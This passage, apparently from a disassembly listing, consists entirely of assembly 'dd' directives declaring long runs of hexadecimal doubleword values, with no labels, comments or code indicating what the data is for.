		dd 363447C7h, 3CD253E1h, 0CA061F3Fh, 0BE855B08h, 6D3F9688h
		dd 74F0396Ch, 79E5D73Fh, 93AA6B20h, 0FC3FDA7Fh,	80114100h
		dd 1A8B2A93h, 1A1C15CEh, 35C5A9B2h, 8C0D92A9h, 0CACF8889h
		dd 1F10BF42h, 0D05D5FFBh, 2845D7B0h, 0D20417ECh, 45E0A9CCh
		dd 5B3E0CACh, 0A0DBB4ABh, 0FF78915Dh, 99B448ABh, 906D14BDh
		dd 8399BA18h, 14BC9DF9h, 4CC66469h, 8C00EEBCh, 3CDC88A0h
		dd 0E8E6E1E4h, 73FE026Eh, 0BB84B3F9h, 83E8D0D5h, 88F80158h
		dd 0A88A7C46h, 0AF0DFB27h, 0E3F4D33Bh, 0AD889A53h, 2EBE07C6h
		dd 0D9C14C66h, 204BE2FFh, 46827683h, 0D2A9BCC3h, 0CA73BA8Ah
		dd 0A6B6A8A1h, 7CC7CC2Ah, 88986BBAh, 0FB982C82h, 0DAA4E9ADh
		dd 93CDCAF7h, 0E3C23FDBh, 0DE3DFD1Bh, 0DEDD2F13h, 2AC19D86h
		dd 1CDF5F32h, 0F39EDA36h, 4D3B2F51h, 0CF3785F7h, 0A7D8EC8Eh
		dd 6B33DDC6h, 0DA8A4016h, 897D42Eh, 6BEFE8AAh, 718EB623h
		dd 0C18D033Dh, 9B1C8E19h, 2B671BEEh, 495DC386h,	0DE45C30Bh
		dd 268FED8Bh, 0B0AD9B15h, 0D449DF99h, 763412D9h, 8200E73Fh
		dd 22689126h, 0E3C21B98h, 26373CD7h, 76186268h,	977D7F48h
		dd 3F4C3DD8h, 0AD0C5501h, 83F65711h, 0C6F9179Ah, 14DD3AE2h
		dd 0DC630B80h, 0E0CDF542h, 1CBB3F38h, 8176DAC1h, 0FBC87C79h
		dd 2F435D33h, 0A9EE858Ch, 3613F5A0h, 800B6BFDh,	0EE7F182Ah
		dd 9FAB322h, 0BD0F5A18h, 2548EDEEh, 36F3327Ch, 22EEA47Eh
		dd 8856E1BCh, 69F6F4C5h, 6BB54EABh, 94089933h, 0CBCB0DEDh
		dd 88DFDE78h, 6BDD90B9h, 279954BEh, 0C030507Bh,	0C08E30FDh
		dd 43A76FD7h, 9713ABF4h, 91EC2533h, 120B223Ah, 2BDD25ADh
		dd 0A31C0723h, 4C16AAEAh, 93655A05h, 0DE9F9E13h, 699F6D0Fh
		dd 0E46F26B0h, 7C615F71h, 9EF4B6CDh, 74E0D46h, 0D6AB4745h
		dd 1CC9B218h, 0FE1A926Dh, 3445C6ADh, 6A39A0B7h,	0A0E2F59h
		dd 0F3218404h, 66702CEAh, 27553E6Fh, 0F9124602h, 6D94F852h
		dd 98022D46h, 0A3EEFD73h, 0C11D9E52h, 154A1B5Ah, 0F91778B0h
		dd 940553FAh, 5F4D5938h, 2A8A426Ch, 5C9A188h, 7F60CC83h
		dd 7CABB30Dh, 777AD107h, 0F263FF03h, 0EFD679D2h, 0A1576AE4h
		dd 0C3A07CB8h, 0A764013Dh, 0B9134BD6h, 0E5652076h, 0CCA234E0h
		dd 9FD54510h, 50DC7FB7h, 89E48B07h, 25DD39F9h, 0CEEF09B3h
		dd 3B0C5994h, 70CC24D6h, 4537F85Bh, 4CD620CDh, 160D89C4h
		dd 93803589h, 0C74C3461h, 4147E37Dh, 15F10DBh, 35871642h
		dd 46DA1426h, 0FFB27406h, 4489BD04h, 1BEB3CC0h,	933E23A8h
		dd 4FC1A103h, 0B918C715h, 0D37E1FFAh, 0B68D6995h, 6EDEC0D1h
		dd 209FD94Dh, 1A4C9ACAh, 1508D2CEh, 0EAE09166h,	2CEA3935h
		dd 0A40C02DFh, 301C0D46h, 5E7A518Bh, 37AF5476h,	407B0F8Fh
		dd 2545704Ch, 42F84F73h, 4EB55B14h, 0A6F2A88Eh,	2AB3A077h
		dd 4488EEC7h, 0F3863C24h, 0AE38D074h, 8FA828h, 2520C14Ch
		dd 0AD5465A3h, 0FDC50832h, 0F275290h, 1271077Ch, 89E1B1BBh
		dd 0D8684ACCh, 0ACEF28B3h, 44DDC615h, 1269FA35h, 799B18Dh
		dd 8B635750h, 0C80D43E1h, 0F3C79DABh, 1113F4E7h, 0DA95EBBEh
		dd 41AFEBB1h, 0DB51439h, 0C67CD577h, 5B2AE631h,	8D47F158h
		dd 0DB7C9F4Dh, 0B54D5D47h
		dd 0DAD3EFDAh, 5B7507A2h, 2A119F85h, 0CC1FB242h, 6EF5274h
		dd 0F116CE18h, 2A4788ADh, 70458BFCh, 0F46BA878h, 0C96F2214h
		dd 9120F75Dh, 85485E5Fh, 0E861B874h, 0CC93F99Eh, 90031A7h
		dd 6F4277D4h, 52A6A944h, 0A1344457h, 63972788h,	84796A09h
		dd 0EF4DD7AAh, 0B22B7DECh, 55A492F4h, 0CB1C01CBh, 618EBE7h
		dd 709B9375h, 1A35265Ch, 72C1A11Bh, 0AEAF2E42h,	8D6B7A82h
		dd 28DDC3E6h, 764FDCE8h, 21D90AD3h, 0C5D8E37Dh,	60ED7A49h
		dd 8AFF779Dh, 8AA3EE09h, 98E7955Fh, 0E96FF895h,	0E5662448h
		dd 0A0612978h, 0DCC8E5B6h, 0B132B522h, 0E8496B57h, 0AE160A0Fh
		dd 4F5F366Eh, 7A875460h, 0C74F2DA5h, 4D12B758h,	23000D95h
		dd 2B6413D4h, 9B25E268h, 7985932Dh, 0F325552Fh,	7B616C7Ch
		dd 0B507D4F1h, 0F2F397FAh, 0EEA6C83Dh, 806F5F23h, 7231D61Dh
		dd 0EA0B9708h, 5B534571h, 93BF0816h, 0E035B83Dh, 0EF1E504Eh
		dd 0CC875A17h, 17DEDA87h, 3724389Fh, 94445387h,	0D879E2EEh
		dd 3D18200Ah, 0EC4CFEFDh, 3CD036EFh, 0A2CA1BDCh, 528279D0h
		dd 4EBCD329h, 0D3123BA2h, 583E6A12h, 95C30DB9h,	70FC0899h
		dd 21C68ABBh, 0CD32038h, 0ADBC91A5h, 0D2D01D5h,	15147593h
		dd 288AF154h, 6DE52073h, 1B7A7E98h, 9617801Eh, 0DC47E8BAh
		dd 4B66449Ah, 0BA67ABDh, 3DF072D1h, 2332DB28h, 1A27A174h
		dd 426BA09h, 0C1385C49h, 888FD55Bh, 12907F4Ch, 0B88E2B44h
		dd 33E533E6h, 0C7B347A1h, 0A2C5BBE7h, 8A3DA759h, 0DB7EB633h
		dd 0C8D0083Ch, 22636B21h, 0E2FED544h, 0A0DF2842h, 3A473E26h
		dd 91FF5112h, 79E53024h, 0DD48347Bh, 3BAEFB9Bh,	75147C88h
		dd 0C8FB8039h, 300494F1h, 1AA8CD87h, 6BDA63BEh,	7449F4BCh
		dd 5276E5B6h, 86A35DE7h, 4EBAA2AAh, 389AF69h, 8F5E0294h
		dd 4D2F93Ch, 0BEB82BB9h, 0BBAE0634h, 300FC2D4h,	0EC2C6E22h
		dd 1F51CFBAh, 0EC51FCFCh, 36CC4D1Ch, 97B24AAEh,	0B0B2A35Ah
		dd 72F66B39h, 0F7B439CEh, 13D761A0h, 0D243B8C0h, 0B8C10EEh
		dd 3BF3146h, 2B4BC972h,	0C1EA17EBh, 0BB2C5C9Bh,	9D2D391Fh
		dd 81563E4Dh, 0C578E5B9h, 3B6F3272h, 135705AEh,	6FADC598h
		dd 0E55A5C0Bh, 4E4AE72Ah, 15F00561h, 0D10AB3EDh, 5AB04658h
		dd 0C324A443h, 8C79FB7Dh, 1E364F05h, 3341B0FDh,	7C8DD67Ch
		dd 691F6C90h, 40C3CF44h, 0C3A2766Ah, 0A8F0FE67h, 1B9747A1h
		dd 75929F4Dh, 187D43A5h, 3AE1E3A8h, 0DD16D79Dh,	0D9F4F4B3h
		dd 9FCE2ACFh, 7B8F00F3h, 0A9A4DCC3h, 2907EF7Eh,	0D244955Dh
		dd 5B8FAB81h, 0DAB4B32Dh, 0C6328AACh, 1D05D0BDh, 5BB02306h
		dd 2C69DCEh, 4AE37944h,	9C5811C9h, 0D30DF4D9h, 255D1133h
		dd 0E93B6496h, 624271AAh, 613FBE7Eh, 0A5D903B1h, 489E41F1h
		dd 1AC3B702h, 3C671892h, 4C1F490Ah, 567838D7h, 8333A01Eh
		dd 45C8F9F2h, 3BBEC0Ah,	0FEEC5034h, 89FEBD6Bh, 0B633894h
		dd 19D70935h, 0D69CF892h, 0E2525A7h, 0BCB97EEAh, 3D5C8514h
		dd 0A76760D3h, 7CE60C8h, 0C8E8BDCEh, 0EF509F52h, 93CE8008h
		dd 0A8871BE1h, 0B35E9A1Ch, 5868E512h, 0BAD0ECD6h, 8A303D57h
		dd 9F697A82h, 0EBD27F9Bh, 2DF3C4F5h, 7F948398h,	0C3209E85h
		dd 62BA1Ah, 0EB20C9E9h,	0B9EAD3EDh, 4A32CF91h, 0CB61CB2Ah
		dd 4B7DB55Fh, 0E3AAAC99h, 0BF453E67h, 5C662A11h, 0DD56661Bh
		dd 0C3E64492h, 1A2E1CFh, 9BDC6B88h, 59723D70h, 0B4F8AB4Fh
		dd 0E1364B47h, 0F0A95043h, 0AA205EA8h, 0FFC781DFh, 0E5AF9BB6h
		dd 0F620EB6h, 9782A336h, 0C2B0FCA3h, 0D437312Bh, 29C01ED8h
		dd 64AA9F3Eh, 77F85BE3h, 436411CDh, 0E4407E20h,	76D4472Ah
		dd 3392BAF6h, 9DC031h, 185F2AFFh, 9F9A2628h, 0BF9788BDh
		dd 1E93524Bh, 2F45DD53h, 6038B952h, 81F34553h, 78235367h
		dd 307B01D9h, 81E4DD83h, 0AC8299Ch, 42D7F579h, 0CDA64386h
		dd 0D30E743Fh, 39BB5D5Ah, 0C2950FE0h, 55F487CFh, 51C83958h
		dd 0F0C4B510h, 9ABC5D19h, 0DE2AE6D3h, 0CA7C5515h, 0E1F56A1Ch
		dd 0A8B0D8C9h, 4211C355h, 5E8375DFh, 902794D3h,	0CC335052h
		dd 0D92F0228h, 0D0FA1DFh, 1D8ED9BBh, 4B35BA0Eh,	384CD015h
		dd 1CA3F188h, 2560ECEAh, 39A380F5h, 0C38D74A1h,	0D682446Ah
		dd 45BDDC46h, 55E8571Ch, 95F1B242h, 74E7CCFAh, 0E81B3FA7h
		dd 5BDEBD47h, 0D4D312C6h, 0EB4A57B5h, 9F3C3F8Dh, 95A6FC70h
		dd 4BD0819Fh, 3F98B3DAh, 0D52CC5Fh, 3FC386F8h, 0C50EF9B2h
		dd 0C5D1990h, 8C74899Bh, 8ED528D9h, 40C79CBDh, 0F6155E4Bh
		dd 1EF7A852h, 248649C5h, 0E8A11A54h, 18C84839h,	0F13B471Bh
		dd 0D5F8E003h, 2635A92Ah, 0B96D5B3Fh, 6E32384Ch, 0E52DC203h
		dd 0E60529A6h, 0FCC131C8h, 0AE241EF4h, 0E0BD2243h, 0A6804BECh
		dd 0FDBE1072h, 0A8CC0A6Bh, 4766A49Eh, 2FF8172Dh, 2E50EE82h
		dd 0E877667Fh, 0B52C300Dh, 0FB71021Bh, 0B3177BCBh, 586BEF6Fh
		dd 6E4DA32Ah, 5A721769h, 9E299BAFh, 0F7FAA478h,	0F46CCAEh
		dd 8A506FB8h, 4F579A8Fh, 0C3104E3Ch, 228BA7A6h,	0AB87AE27h
		dd 92C92A33h, 0B8780F49h, 150977F5h, 0A5104309h, 0AB028962h
		dd 4EA8B4F4h, 912E39A6h, 1F6DEC7Fh, 0E1970C41h,	6D21BE0Dh
		dd 9E5A1CCEh, 575050B8h, 0C862EE99h, 0DE0E0ABh,	703B2621h
		dd 2067470h, 97DA5571h,	0B888FA02h, 0AB421638h,	7E1CDE83h
		dd 0E00234FEh, 0CAFB6858h, 0AE79B197h, 0B16309FFh, 26306551h
		dd 66452075h, 0E41FC436h, 0D3D272B2h, 3B84D46Fh, 215DD668h
		dd 28AD27FAh, 9A66281Eh, 0EA746C04h, 0FEA713EEh, 0AE630C46h
		dd 193E674Fh, 5CDC925Fh, 644778CEh, 0A42BFE08h,	33D78374h
		dd 8D9CB524h, 9CDAAA37h, 46B17C39h, 76484CCCh, 0B253F03Eh
		dd 44202116h, 8B451DF4h, 1FB0788h, 3FDEE3AFh, 0FC65923Bh
		dd 0CD867CE7h, 76F1DB74h, 817AA2ADh, 0EF1DB833h, 0BD03B80Eh
		dd 0FB758F6Eh, 6150F2B6h, 0BA39AB2h, 0C76BBB10h, 0C5172CC3h
		dd 0B6DA6303h, 93E07F1Dh, 2128BA85h, 21591D8Eh,	0CEA9E7Bh
		dd 9FF10C9Bh, 507AADFCh, 0D9C2EB13h, 23CFA2EEh,	87B1F4Bh
		dd 0E80DCD79h, 0A031B39Dh, 0DBF7A6B0h, 483905FBh, 720CCF71h
		dd 0F49AD8D7h, 40B2C0A3h, 0AA84C804h, 0C3885821h, 9ACE5745h
		dd 0CD1CA7D6h, 623928FEh, 506126FEh, 302E53A7h,	34C9A8DEh
		dd 2F4776D2h, 0B478330Bh, 3EE0F043h, 4F9BB2ADh,	0AC46036h
		dd 6C311A93h, 0D6C34339h, 76BA5959h, 39C16926h,	70A8C268h
		dd 9FD35CBEh, 6E8C4C63h, 0D1FEF114h, 0A7940FFFh, 0A0775B4Ch
		dd 0CB2F5A98h, 551DB568h, 343FBF65h, 716F7C20h,	5F31F0E7h
		dd 0BCB16BBBh, 4AE5B851h, 4CAFC5DFh, 22781768h,	0BB3C6955h
		dd 0C57F33EAh, 5AF72217h, 7D272045h, 0AD48BDFFh, 4158051Fh
		dd 0CF51B6E6h, 5338E1F8h, 0A46FCBD8h, 0F81A25B6h, 0AB3B7ACEh
		dd 0D9B1C78Ch, 386DF164h, 0DDA4DF43h, 0A421388Ch, 524F61B0h
		dd 0AC4A98F1h, 0D0D34558h, 0E4FAFE22h, 68A720B9h, 3F19EE33h
		dd 71D07004h, 0D67BFC9Eh, 0D919AB90h, 6A1452FDh, 0BE367F14h
		dd 45B98943h, 3247359Fh, 48F310DFh, 140C9773h, 93744D6Bh
		dd 0AE9EB213h, 6021E2C0h, 8D4BA1F0h, 794CABFCh,	4339BA12h
		dd 0A9DEA5F6h, 966965F6h, 747259BCh, 0BD3E949Eh, 8AD5E5Fh
		dd 900D8BD4h, 0F3C38A13h, 1DDF8E57h, 5875EA6Bh,	410FC7F8h
		dd 52B0C346h, 87FE6331h, 0D7B00664h, 0A42352CCh, 1093F292h
		dd 259C45Ah, 45E26598h,	81B7C8EBh, 5CF8AC58h, 2714E1E0h
		dd 0C8C508Ah, 4D78ABEBh
		dd 8210DCA5h, 0D84D3430h, 0C5FD588Ch, 0D4DDC120h, 46BDD85Ah
		dd 4BAABE12h, 0B66667EBh, 0BEA1EB3Eh, 36B781AEh, 0DC504457h
		dd 2EEF9D6h, 63D679A1h,	428CAF7Fh, 0DF16FB17h, 7FA5DAFBh
		dd 15FC35BCh, 564E7035h, 8ED59F01h, 0A0B4BA9Bh,	843B0C3Ah
		dd 0DEEE0837h, 0C3B07218h, 5521C8F6h, 1C2B88B0h, 993F12C5h
		dd 0F075CEB4h, 3633D0D5h, 513F6FABh, 20F5ADA5h,	0AB060057h
		dd 0DD1DE592h, 3026F0E0h, 0FD640FCCh, 6302F627h, 0EF736924h
		dd 56C728AFh, 87DF2B32h, 142E31EBh, 6E0E2A2h, 0A9067370h
		dd 0AB246837h, 0FD9FD22Fh, 0D0AE190Bh, 0B8D9D881h, 0D0071978h
		dd 0A677FB72h, 0D79C09CEh, 3B607C46h, 0D56CE4C4h, 82F4CA08h
		dd 0DEBE671Bh, 8D61A289h, 1C08B50Ch, 0DFAE83E4h, 0CB3A1A46h
		dd 86DCA61Bh, 0AE53B4D3h, 0CDF314C0h, 177CAD6Eh, 0B8B8F38Ch
		dd 0B947A6D6h, 4B2C4ACEh, 7CBB82D8h, 5E6B2D0Fh,	7483E9D9h
		dd 626C4B50h, 0D24B7E11h, 5179FDF8h, 1EC82661h,	8A54B838h
		dd 62ACFCB3h, 8A11E60Eh, 703FFB72h, 5BC7425Ch, 2F65595Ch
		dd 0E9FB569Ch, 0AABF078Fh, 330E334Ch, 9B62C96Ah, 0D8C58C9Fh
		dd 0A2776958h, 0DD55ADB7h, 304305F0h, 1D75C93Eh, 64ACBABEh
		dd 0AB923193h, 0C718B709h, 67F2BB1Ah, 0ADD4F662h, 0D1FD29B1h
		dd 0B4EFB71Ch, 0B69591CCh, 29DEA8E8h, 0B4D1587Ah, 2A051700h
		dd 17A1BD85h, 0DD2C53CDh, 85AE1562h, 0A85EAC41h, 0D70AC17Dh
		dd 0B64D793Eh, 744C1B76h, 0F4181473h, 0C4D502E1h, 77E015BCh
		dd 3BB1B224h, 78155261h, 81CADBh, 1F29F0FDh, 45D7D9D1h
		dd 55E6B091h, 0E7DAD75Dh, 3029919h, 0AB9FE990h,	0A338F6B7h
		dd 99DD532Dh, 5F8BBB9Ah, 0F1C90B2Bh, 88280B0Ch,	7FDE3DE7h
		dd 2DC7209Eh, 1C0D2366h, 7CAE7BCFh, 261FF0F7h, 8CE5F65Ch
		dd 258EFAF2h, 0D2A180B8h, 2C1BB538h, 0D96FA6AFh, 17069F3Ch
		dd 31D601B3h, 5EE14236h, 31F5D2D4h, 26DBA9BEh, 26AE45BAh
		dd 0C67BFDBh, 0A4C36D83h, 1EC619A4h, 0DC67C8ADh, 0E2FF904Ch
		dd 5D995EEEh, 45F5B3C3h, 4050B791h, 0DFCEF6E0h,	0D67B8004h
		dd 3CF905B7h, 2D72A544h, 0BA6BC8F1h, 81743D5Fh,	0FE4D4238h
		dd 0D42EF89Eh, 0A09530CAh, 248794CAh, 0ECCA5C72h, 50260D2Bh
		dd 84A07B98h, 8ACD74F1h, 7B4F56CDh, 0CA1B3875h,	0A995C3C8h
		dd 0AD5C9749h, 63B07A17h, 0B4F47978h, 41DAE88Ch, 0CB6A9C05h
		dd 6D6E38B2h, 17613CC8h, 0F0B58066h, 24CFBB2Ah,	15F42131h
		dd 899D8D6Dh, 7D24B4F3h, 41C68AC5h, 38EE785Bh, 0D89D7F20h
		dd 0BD3A443Ah, 0E2D650E0h, 92D9A3CFh, 0E6C20380h, 181A45D6h
		dd 5562501h, 9AA62A62h,	0CE28492Ah, 0C6ED21C3h,	73ABCA44h
		dd 2F1334h, 0B1B246E6h,	601B7E91h, 7D11B859h, 225C993Fh
		dd 0B81C35EBh, 9B7BF4C5h, 7097C889h, 3496223Ch,	0E22CE4B4h
		dd 0A7CE4925h, 0FDC86888h, 0F1A708C0h, 448B5C5Ah, 0C10D039Ah
		dd 48BA729Eh, 61FEE38h,	88130908h, 9617D7AAh, 787D89C1h
		dd 0C1234D9h, 67C3AD8Ch, 83856531h, 6CAC45DAh, 779E7723h
		dd 0DA364360h, 5363BBAFh, 0BED2AF49h, 15E46D1Ch, 55F35C5Ah
		dd 0E931FBA5h, 0C0400C0Bh, 0D2480161h, 8811861Dh, 3BD83B2Fh
		dd 6064CBF6h, 0DF10C8AEh, 0F3CF754Fh, 7EACDB83h, 6E5B70EEh
		dd 0D76DCFB5h, 0E0DC2552h, 161545E9h, 17035BA4h, 3ED56711h
		dd 0E654644Bh, 6CB3F68Ch, 0E402BEABh, 83D2593h,	6C0F3970h
		dd 82DE6F3h, 29BBC162h,	2F69BFB1h, 1A9139E9h, 823E10ABh
		dd 0ACD85815h, 0F5A9C6E7h, 4D167302h, 925E07C8h, 1BD44BA4h
		dd 0E5DB36FEh, 7AA7FA52h, 627E9145h, 0AAE7CEEEh, 22F43D0Eh
		dd 0CBFC32FEh, 8A16D958h, 0D197E229h, 365C6C37h, 236F2305h
		dd 16147DAh, 3FF2C981h,	75DB75DCh, 0C0B81E72h, 53A07C92h
		dd 0A30EFAAEh, 118A74D6h, 0FD4C6522h, 804B8FBAh, 7024C501h
		dd 0C6CADB62h, 74A23052h, 2172BFB5h, 7E6A9B44h,	6461B538h
		dd 99F842AEh, 55BF7019h, 0BE451E8Dh, 0F5BC6506h, 0D548C724h
		dd 14C4136Eh, 864D534Bh, 110764ABh, 7219FC46h, 0CAB76004h
		dd 22CA2C69h, 0DFFF476Ch, 0BB3DEAD2h, 7115561Bh, 0FE381AFAh
		dd 0AA8408BEh, 67166E4Ah, 671E3C72h, 0F21621A6h, 0F43C724Ch
		dd 0CB7F2045h, 0C4DA62AFh, 96A70F64h, 90D7A40Dh, 8F25B032h
		dd 185A83F8h, 0C1C8BE8Ch, 2AB64264h, 4797EE05h,	0EA9606E0h
		dd 8917133Dh, 532857F3h, 8C751450h, 130F54BBh, 0EE3273FFh
		dd 0EF6C6BE6h, 45698877h, 0EB578526h, 29221E20h, 64A0C204h
		dd 0B89A7CE8h, 0A84AFB2Fh, 81D5B015h, 28166FCh,	1B3B35C7h
		dd 56B3BEBFh, 0C0CDDF13h, 0A12FB754h, 23602BE0h, 6294AC02h
		dd 8A9498EFh, 882F7E2Ch, 9DC154ADh, 8F6B8C94h, 0CFCA4F60h
		dd 9B64F7D9h, 35C97819h, 7F96B308h, 0AD1D0E43h,	315DFCD2h
		dd 9F35A4CEh, 0B9B10A1Dh, 0F1453D25h, 45C8572Fh, 0BBABB22Dh
		dd 5F2EADC1h, 142A26Ch,	8EA1ED5Dh, 6C913BCDh, 0ECF2897Dh
		dd 9EDACCF6h, 8379B78Eh, 0A644EBE7h, 0F4328305h, 382CF7A0h
		dd 0CA1A24EDh, 9D41E738h, 0F0D714BBh, 47DA1E51h, 23D5A3C8h
		dd 0F89DCD57h, 321FE7DDh, 0A431F31Dh, 68C02930h, 0EDFA0E94h
		dd 0AA45DA03h, 0B39ECE9Bh, 6ADF105Bh, 249956B6h, 67FCFA2Dh
		dd 87A533DDh, 0D56C86BAh, 0CDFF7CF1h, 0DE417AB2h, 301B5C09h
		dd 0D4E3F59Fh, 4A21E3Eh, 0EDEA46A0h, 0B675AF15h, 2E7AC8DCh
		dd 0C15EDE87h, 4A5A4F0Ch, 3D13DE5Eh, 0BE2481D4h, 81CD30E9h
		dd 49FB2B75h, 0DBA88EB7h, 82D2DE1h, 6992FEDAh, 49ABED9Dh
		dd 8E8C219Eh, 0D81C9AA6h, 0E295D3F8h, 41EF4304h, 0DC49FE5Ah
		dd 0B2A5D049h, 0C5E20A29h, 0D8C3FDC3h, 7F547A07h, 177FE5A1h
		dd 9B93E0ACh, 7669EFAh,	86F6B00Eh, 8AC38BEAh, 0DA85F4E0h
		dd 7B8013B6h, 0E5189A4Fh, 0ACFE0D8h, 8674A1AAh,	61328B75h
		dd 0BE51DF11h, 76BFA2A0h, 0F170FC52h, 0F220D6EBh, 0B25C47Fh
		dd 6D6D7527h, 0F46A6D7Eh, 50A9A659h, 0A9E026EFh, 8349835Fh
		dd 0B76C7A38h, 41929D25h, 15C47A72h, 0B321D48Fh, 16C2B15h
		dd 843B932Eh, 89F16932h, 504BE1F0h, 13B3C709h, 0DE2BC532h
		dd 9223D00Eh, 42C28286h, 0A9EB10F8h, 8464E966h,	0EB6A25A2h
		dd 0ABEA5C12h, 6FFB2762h, 5FFDF0F4h, 928D75F7h,	6B1DE99Bh
		dd 1CC25C79h, 90727F6Fh, 0F0B3332Dh, 785C062h, 221652C3h
		dd 0FEE7131Dh, 19B68694h, 353F8F6Ch, 66190F3Fh,	210BE932h
		dd 0C25C4C88h, 0DD507E8Ch, 87AEFEC2h, 141D76Dh,	974D0C89h
		dd 0D73BFDB0h, 29DBAB8Dh, 5A22BC19h, 9B0888E0h,	0B795D416h
		dd 7C2A5CF8h, 7E4F3F8Dh, 0B506E37Dh, 0EB323A1h,	3772706Ch
		dd 0B01B53F1h, 3F20A2EAh, 4E8AC777h, 9700A687h,	2613DA0Fh
		dd 28CF0D36h, 0D28B965Fh, 57A94D94h, 78D5EEACh,	4BF3DAA4h
		dd 9C26A13Bh, 0B912BCC9h, 0F21B40E6h, 891DAE15h, 0C0FA30A9h
		dd 40E3449Bh, 84D1E4A8h, 0E98F3955h, 9D8977A6h,	0F9E550F0h
		dd 31CF6362h, 3F163A8Fh, 76CA1C9Eh, 0A06D6C06h,	9DC690F2h
		dd 23E6EFF9h, 0AD622333h, 0F2452843h, 8B0AFD2Bh, 0EE9C6E5Fh
		dd 0DD7B716Eh, 1D71A433h, 44A8872Eh, 133B46B4h,	90E29CD3h
		dd 54F60B9Eh, 0F417624Ah, 0A8EDF4CDh, 0DD3F1AF4h, 41FB0878h
		dd 687C05Ah, 808EBC99h,	3C3D9BCEh, 973AD88Ch, 4A27BF30h
		dd 10AA8FD1h, 306C7D0Dh, 86526DA1h, 0A7A329F9h,	0A95060B5h
		dd 96112C9Ch, 0DA755AECh, 8C89181Ah, 7A912DF1h,	0DB389BEFh
		dd 0F965FB36h, 99886449h
		dd 0E388A387h, 6E1EF2DEh, 5150BA71h, 0F6C4DB1Dh, 9DDFEABBh
		dd 30861986h, 0D91ED9D0h, 2DE97E22h, 21AF8C78h,	90361A28h
		dd 2DABC390h, 0D8D410DDh, 761BD041h, 0DF4D1826h, 4BD9D52Eh
		dd 48C4E354h, 96B5C363h, 88138BE9h, 67536FF6h, 62076BC2h
		dd 0F77F9580h, 5C692919h, 194B764Fh, 89FA20B2h,	0AC320CFCh
		dd 50A3190Bh, 6696292Fh, 2AD732A3h, 3F81AC38h, 27A565B7h
		dd 96A99D4Dh, 5153EBE9h, 18D3562Fh, 0D80889C9h,	1A3B4022h
		dd 7146A142h, 0A50CA48Eh, 3382C61h, 2F79FAEDh, 0FD25133h
		dd 613273F7h, 928CE0D0h, 0C5C56394h, 345243FCh,	0B0BD06D2h
		dd 21B57634h, 0D57E9CC0h, 897D2C1h, 53536B14h, 4D88E8FFh
		dd 84F5F876h, 3B86DC90h, 5FC1CF29h, 0E77FD334h,	0C3BF7D0h
		dd 0CF2BD8EAh, 0B1B52240h, 1FA22610h, 0E24309F4h, 0CE79BB66h
		dd 0C7758308h, 51B8407Ch, 91554DAFh, 7BAF4AEAh,	44A8A33h
		dd 9D447C1Fh, 5B088CAFh, 2239298Ch, 0EF6DFEF6h,	0E563F30Ch
		dd 40BD7453h, 0FA38CF18h, 827669A0h, 7DF4B059h,	0CB6B1FEDh
		dd 8D3B7582h, 57E8BC67h, 624F177Fh, 0BEC08301h,	0F9D64CAFh
		dd 0FCA978EFh, 0B24BFEC7h, 8AB9D77Bh, 0C63CACCDh, 77E79D5Bh
		dd 0B8C6DFC4h, 0EC8E96A1h, 867A0758h, 55CA4052h, 0DFA5C612h
		dd 8909924Ch, 0B4EF5675h, 0F8F0CE6Dh, 817FDAD1h, 15019114h
		dd 0A5C34CE8h, 28D447BEh, 0B313320Bh, 85D5739Fh, 9C08BE2Eh
		dd 279A09A2h, 2C7B2F10h, 0E45DB41Bh, 9BA6AE2h, 16C49EE8h
		dd 0A79AC2F8h, 524FD3C8h, 0E0C09287h, 679AAD7Eh, 81A64785h
		dd 60D9FAFFh, 0BADC86C0h, 50CB897Ch, 0E731359Bh, 51CD5017h
		dd 75B64Fh, 0C1F53D0Dh,	35A7A9C4h, 25C19596h, 0EAB2BD39h
		dd 37992DCCh, 231803Ch,	2357B1A7h, 98C36831h, 0A197A1B0h
		dd 0A9365FB8h, 75B012ADh, 8C04B6EAh, 4EBCF6FCh,	104DFE9Dh
		dd 7A6003E1h, 0EDD60A25h, 3C752CF4h, 0FE5BD8C1h, 42907CE3h
		dd 6A35FBC9h, 9234B26Ah, 3874243Bh, 413A972Bh, 0E90453ABh
		dd 6E4EFD20h, 0E5D1F192h, 0B46D6AFDh, 0EA8FAF2Dh, 0C646CD61h
		dd 0D64E3706h, 0B654DAF7h, 0A3FDB52Fh, 61461F68h, 7F218C96h
		dd 99EB2677h, 0C87A8693h, 0E1639E4h, 0E5D4C932h, 0BA8D0FA4h
		dd 4C42A6B5h, 536C6027h, 4A72AAFEh, 5CF51FCDh, 1971B3A1h
		dd 0BED56483h, 2C848F19h, 890BDE92h, 0A0F54B78h, 885467A8h
		dd 3C147CFFh, 708F75A3h, 935E0FA0h, 2F3FF05Ch, 0FC7B1B85h
		dd 29A3EC93h, 554F05DFh, 0D9249938h, 0F20D6034h, 0DFBE0944h
		dd 0F0C2D23Ch, 0FE5B3ECFh, 604C6A9Eh, 0C04EE5B8h, 1D296511h
		dd 0B177C43Fh, 246DDE13h, 0CDEADB89h, 4A1A3703h, 33E0F9AAh
		dd 29C9AC1Bh, 0EF07897Ah, 0D6DD5FCBh, 357D72EEh, 0D55D2DCBh
		dd 1683127Bh, 49880B03h, 48EA75B2h, 0FF93B73Ch,	0BB241B1Eh
		dd 0A1F9E62Fh, 28825B24h, 7CD99A5h, 0BF2EC82Ch,	0C288EB62h
		dd 9736373h, 0EF9DF002h, 18F180A8h, 6063C639h, 90A1DBE3h
		dd 0F1C02774h, 0E747CDCCh, 3ABDA098h, 308F8A3Bh, 4C42DEABh
		dd 58BD2F7Dh, 680F1EB7h, 519577D7h, 0FACC4920h,	60132ABFh
		dd 2413CC12h, 6E7E3A22h, 23227932h, 5BD5AF70h, 0F0A91883h
		dd 5A00A58Ah, 6F95854Eh, 0A6123B95h, 1E1862CCh,	8F1CAC5Ch
		dd 0CC5CDA29h, 0B0CF2713h, 788E56BDh, 0B651F06h, 0C575978Dh
		dd 0E51FE7C2h, 183AFE8Bh, 0B3F97F18h, 0B25F3170h, 0E4D49542h
		dd 5DE413C3h, 0CCAADCB6h, 7DBF64FAh, 737924C2h,	221E5B58h
		dd 9CB35BA8h, 0AE80DF0h, 41C9ADD4h, 57119995h, 7F810782h
		dd 0C36A1B30h, 0BB27A277h, 0F0FA7527h, 6F2E1F47h, 8B69B819h
		dd 11944422h, 0B30B49F8h, 8D15D64Bh, 49956734h,	0EBFA4D81h
		dd 938CEC1Bh, 28B398D7h, 0BD4D7853h, 0D8D5BF09h, 620AEF9Eh
		dd 0C06209AEh, 95B37066h, 1CAC866Bh, 13A2CA82h,	65136AB2h
